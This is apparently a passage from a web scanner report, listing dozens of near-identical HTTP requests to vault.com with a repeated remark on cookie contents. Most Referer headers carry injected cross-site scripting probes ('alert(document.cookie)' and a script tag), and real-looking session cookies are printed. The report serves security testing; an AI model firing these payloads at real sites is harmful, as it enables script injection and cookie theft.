GET /images/sponsors/sponsor_1026.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_10358.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_10404.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_1815.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_25318.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_377.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_385.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_43868.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_569724.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_6100.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_6603.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_7285.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_819.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_906.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_9066.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/sponsor_923.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/store/covers/759-small.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/store/covers/888-small.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=00000-dJvfxGNM9UrnCQsyBDC18:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/subheader_background2.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.6.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/subheader_bottom2.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/subheader_top3.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/vault_logo_new.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/Tools.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/jquery-1.3.2.min.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/jquery.DOMWindow.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/jquery.autocomplete.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/jquery.carousel.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
/** * * * Carousel object * Carousel.left = initial LEFT css property of the sliding container. * Carousel.links = array of carousel carousel items * Carousel.numImages = number of items that ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/jquery.popupWindow.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/jquery.stylish-select.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/jquery.swapimage.min.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/main.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/membership.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/!ut/p/c5/dY09D4IwGIR_0r3lhTaMfiEgIKaDtgspiSEoUgdj4r8X4uLC3XjP3cFi8ujefedevR_dgAusbKSIK63SgPY6ZMpKwQnXh2DHCjlsN_h2Jtc4z_U__HjiLWWkq5JlVHAhfjktaEWoUv-4wsCoxdNcThthltRxpMKpFUDDbPC8t3RTH_oCnk3SHg!!/?mode=&redirecturl=%2fwps%2fmyportal%2fusa%2frankingsf6c40'%3balert(document.cookie)%2f%2fdba4d06d54c%2findividual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; JSESSIONID=00000-dJvfxGNM9UrnCQsyBDC18:140gkm3u6; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.4.8.1295451341966; _chartbeat2=1wcinl964s8aejot; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/swfobject.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
/** * SWFObject v1.5.1: Flash Player detection and embed - http://blog.deconcept.com/swfobject/ * * SWFObject is (c) 2007 Geoff Stearns and is released under the MIT License: * http://www.open ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
